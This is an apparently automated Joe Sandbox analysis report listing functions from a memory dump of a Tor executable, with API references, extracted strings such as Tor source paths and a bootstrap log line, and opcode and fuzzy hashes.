Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failabort$strchrstrrchr$strlenstrstr
String ID:
API String ID: 1772955315-0
Opcode ID: e15c3ea312ab79f69bdb1a908437599ae818257f27ef42532194c71a6f572fb7
Instruction ID: 8b1847bf38c7c9275e8be94638f3817016a67b8fbab263d39d85f87f7c2f5ec4
Opcode Fuzzy Hash: e15c3ea312ab79f69bdb1a908437599ae818257f27ef42532194c71a6f572fb7
Instruction Fuzzy Hash: 7591B570D0431A9FDB90DFA9C9956AEFBF1FF04204F04881AE890AB240D7389A85CF65

Uniqueness

Uniqueness Score: -1.00%

Function 013B1299 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 78
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 013B12EB
strlen.MSVCRT ref: 013B130B
malloc.MSVCRT ref: 013B1316
memcpy.MSVCRT ref: 013B1332
_cexit.MSVCRT ref: 013B13A0

Strings

9N*, xrefs: 013B1352

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: malloc$_cexitmemcpystrlen
String ID: 9N*
API String ID: 701060287-3047453748
Opcode ID: a29f486c20dac6791c568500b0ee59d4e728777dc4634d2c8d8dfd3d902c9c67
Instruction ID: f45c8152502b57c7b47275181b01711b0caab8af5b2fa4b1e26bbd7b5f1377f4
Opcode Fuzzy Hash: a29f486c20dac6791c568500b0ee59d4e728777dc4634d2c8d8dfd3d902c9c67
Instruction Fuzzy Hash: CE3136B5A003118FCB30DFACE484699BBF5FB49364F15852ED98897305E735A942CF51

Uniqueness

Uniqueness Score: -1.00%

Function 013B1289 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 013B12EB
strlen.MSVCRT ref: 013B130B
malloc.MSVCRT ref: 013B1316
memcpy.MSVCRT ref: 013B1332
_cexit.MSVCRT ref: 013B13A0

Strings

9N*, xrefs: 013B1352

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: malloc$_cexitmemcpystrlen
String ID: 9N*
API String ID: 701060287-3047453748
Opcode ID: 89f16981a78cefe362122667d8ad100a98ed87e6826b956af10ca74b4ba7daa7
Instruction ID: c047be1dd92ce2cf35940264b8069690a14cea1cbc0a7a1a0329a21871591463
Opcode Fuzzy Hash: 89f16981a78cefe362122667d8ad100a98ed87e6826b956af10ca74b4ba7daa7
Instruction Fuzzy Hash: 6B3103B4A00311CFCB30DFA8E4846A9BBF5FB49354F11892EDA88A7304E734A942CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0157BAF2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RAND_poll.LIBEAY32 ref: 0157BB10
RAND_seed.LIBEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,015823D2), ref: 0157BB74
RAND_status.LIBEAY32(?,?,?,?,?,?,?,?,?,?,?,?,?,015823D2), ref: 0157BBA0
__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,015823D2), ref: 0157BBC1

Part of subcall function 01552A11: __stack_chk_fail.LIBSSP-0 ref: 01552A86

Strings

, xrefs: 0157BB79
, xrefs: 0157BB66

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$D_pollD_seedD_status
String ID: $
API String ID: 233213208-227171996
Opcode ID: 1b555c1afc2fb24db6c6cd8642b18e62c023015ca9d22d82b1ed6a2abf33c093
Instruction ID: 7d4c52676637ede3fa2980101a548ad7a8d6546bb18334cb2b44a3a0b9df9919
Opcode Fuzzy Hash: 1b555c1afc2fb24db6c6cd8642b18e62c023015ca9d22d82b1ed6a2abf33c093
Instruction Fuzzy Hash: B0210DB0815309DFDB20EFB8D5897ADBBF5BF44314F40891DE8949B281D7788544CB52

Uniqueness

Uniqueness Score: -1.00%

Function 013B371C Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 379
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

time.MSVCRT ref: 013B3766
__stack_chk_fail.LIBSSP-0 ref: 013B3CC0

Strings

conn, xrefs: 013B3A60
src/or/main.c, xrefs: 013B3A54, 013B3B23, 013B3B91

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failtime
String ID: conn$src/or/main.c
API String ID: 2434642342-2598468705
Opcode ID: 008eb231f664c6bef0939476d9711ff3ba2cd70f48295a67f6f22627fc15a377
Instruction ID: 4863a4f681253c257eebd7493cf37d665305afee7c7b747cfae03225debab188
Opcode Fuzzy Hash: 008eb231f664c6bef0939476d9711ff3ba2cd70f48295a67f6f22627fc15a377
Instruction Fuzzy Hash: 1802B1B49083558FDB50EFA9C484AADFBF0BF58314F05885AE994AB351E734E844CF62

Uniqueness

Uniqueness Score: -1.00%

Function 01401175 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 205
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 01401234

Part of subcall function 01564771: abort.MSVCRT ref: 015647C1
Part of subcall function 01564771: _strdup.MSVCRT ref: 015647CC
Part of subcall function 01564771: exit.MSVCRT ref: 0156480D
Part of subcall function 01564771: __stack_chk_fail.LIBSSP-0 ref: 01564820

Part of subcall function 015562E9: __stack_chk_fail.LIBSSP-0 ref: 01556342

Part of subcall function 0140042C: __stack_chk_fail.LIBSSP-0 ref: 014004C4

free.MSVCRT ref: 01401504
free.MSVCRT ref: 0140152C
__stack_chk_fail.LIBSSP-0 ref: 0140154B

Strings

WARN BOOTSTRAP PROGRESS=50 TAG=loading_descriptors SUMMARY="Loading relay descriptors" WARNING="Connection timed out [WSAETIMEDOUT ]" REASON=TIMEOUT COUNT=11 RECOMMENDATION=warn HOSTID="E781F4EC69671B3F1864AE2753E0890351506329" HOSTADDR="176.31.180.157:22", xrefs: 014014C3

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abortfreestrrchr$_strdupexit
String ID: WARN BOOTSTRAP PROGRESS=50 TAG=loading_descriptors SUMMARY="Loading relay descriptors" WARNING="Connection timed out [WSAETIMEDOUT ]" REASON=TIMEOUT COUNT=11 RECOMMENDATION=warn HOSTID="E781F4EC69671B3F1864AE2753E0890351506329" HOSTADDR="176.31.180.157:22"
API String ID: 3720514734-2818246258
Opcode ID: 1f066174a997816b2d823040ec08f8f8cbea789301cff80e34f54430fee9e051
Instruction ID: 18e5ea4ba2e40c0d1eab760d82faaddd35f6b522961d1c84b9130ac6afb890ba
Opcode Fuzzy Hash: 1f066174a997816b2d823040ec08f8f8cbea789301cff80e34f54430fee9e051
Instruction Fuzzy Hash: 63B1A9F49053158FCB60DF59C98479EBBF4BB48304F4048AEEA88A7351D7349A85CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 01426AC5 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 01426B4C
free.MSVCRT ref: 01426C5C

Part of subcall function 01552A11: __stack_chk_fail.LIBSSP-0 ref: 01552A86

free.MSVCRT ref: 01426CC1
__stack_chk_fail.LIBSSP-0 ref: 01426D18

Strings

<NULL>, xrefs: 01426B8A

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: free$__stack_chk_fail
String ID: <NULL>
API String ID: 3445780955-1028069067
Opcode ID: c455e0f8f9270bc7c4fe93107cd72457b78fbbf3ff402af39f8d75869d692178
Instruction ID: de90029678dc09116e48619eea47455cc2a340efb734de52969e36580561a7c3
Opcode Fuzzy Hash: c455e0f8f9270bc7c4fe93107cd72457b78fbbf3ff402af39f8d75869d692178
Instruction Fuzzy Hash: 86719FB4A14329DFDB50DFA8C884B9EBBF4FB49304F41841AE994AB350D7789984CF51

Uniqueness

Uniqueness Score: -1.00%

Function 013B3510 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 013B353C
time.MSVCRT ref: 013B36E0
__stack_chk_fail.LIBSSP-0 ref: 013B3711

Part of subcall function 013FF298: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,013E6505), ref: 013FF2C1

Strings

conn, xrefs: 013B351C
src/or/main.c, xrefs: 013B3510, 013B361F, 013B36B6

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$aborttime
String ID: conn$src/or/main.c
API String ID: 343379102-2598468705
Opcode ID: 93b49a2dbfa3299847affac09221de4550e1dd5128c6c7dc3e057e616d8611bb
Instruction ID: 63c13190b108d8cb1a894d6f39318e30384012053a65e08630fcb6d7c6c269fe
Opcode Fuzzy Hash: 93b49a2dbfa3299847affac09221de4550e1dd5128c6c7dc3e057e616d8611bb
Instruction Fuzzy Hash: 515117B0908356CFDB50EFA8C4887AEBBF0BF40318F45885DE9C49B241D7789584DB62

Uniqueness

Uniqueness Score: -1.00%

Function 014263F6 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_getcwd.MSVCRT ref: 01426467
__stack_chk_fail.LIBSSP-0 ref: 0142658C

Strings

C:\Users\user\AppData\Roaming\tor, xrefs: 01426427, 01426460, 01426476, 014264A2, 014264E1, 01426566, 0142657C
N/A, xrefs: 014263F9

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail_getcwd
String ID: C:\Users\user\AppData\Roaming\tor$N/A
API String ID: 4080616277-1501590155
Opcode ID: a298accb9be8e15b0309e5cde10454ff7118b9970d274d6c1c9b20e15ecbee84
Instruction ID: 04a933eccac1a54eff17d984a418a348bbe6f174e0795744ac82a3479e0c306d
Opcode Fuzzy Hash: a298accb9be8e15b0309e5cde10454ff7118b9970d274d6c1c9b20e15ecbee84
Instruction Fuzzy Hash: A1413CB09042198FDB15DF28C84579ABBF0FB44310F418869DD889B354EB74E985CF92

Uniqueness

Uniqueness Score: -1.00%

Function 01559E01 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 01559E69
abort.MSVCRT ref: 01559EB4
free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,0155A71C), ref: 01559EDF

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,0155A71C), ref: 01559EFB

Strings

}, xrefs: 01559EA4

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abortstrrchr$free
String ID: }
API String ID: 3026730179-4239843852
Opcode ID: a6d4147d6b5be16e9fb0d195fc52b1eb71f6ff9cdd977d56cfc86ff95a07d709
Instruction ID: 9de11698a942b535a8b99ad4c85183dd56530fbf1fb5ffc62b32442f1e54b174
Opcode Fuzzy Hash: a6d4147d6b5be16e9fb0d195fc52b1eb71f6ff9cdd977d56cfc86ff95a07d709
Instruction Fuzzy Hash: A631F7B0A05206CFCB50EFA8C498A6EBBF5BF44258F00895AEC94DB311D738E845DF61

Uniqueness

Uniqueness Score: -1.00%

Function 01564605 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 0156465E
realloc.MSVCRT ref: 0156467D
exit.MSVCRT ref: 015646BE
__stack_chk_fail.LIBSSP-0 ref: 015646D1

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Strings

@, xrefs: 015646A3

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abortexitrealloc
String ID: @
API String ID: 351688620-2766056989
Opcode ID: 324409a7c9352b174f459a6cf94116ca68e32bccf943112370b307f9773d81fd
Instruction ID: 6101e27f5f87185d7f6139b7980a117139c79c832c903436ad0443f2e1ac38f6
Opcode Fuzzy Hash: 324409a7c9352b174f459a6cf94116ca68e32bccf943112370b307f9773d81fd
Instruction Fuzzy Hash: 3F21B4B090431ADFDB50EFA5C8486AEBBF4BF44354F40891DD894AB340D7B89584DFA6

Uniqueness

Uniqueness Score: -1.00%

Function 0155920A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 01559260
localtime.MSVCRT ref: 0155926B
memcpy.MSVCRT ref: 0155928E
__stack_chk_fail.LIBSSP-0 ref: 015592BF

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

Strings

$, xrefs: 01559279

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
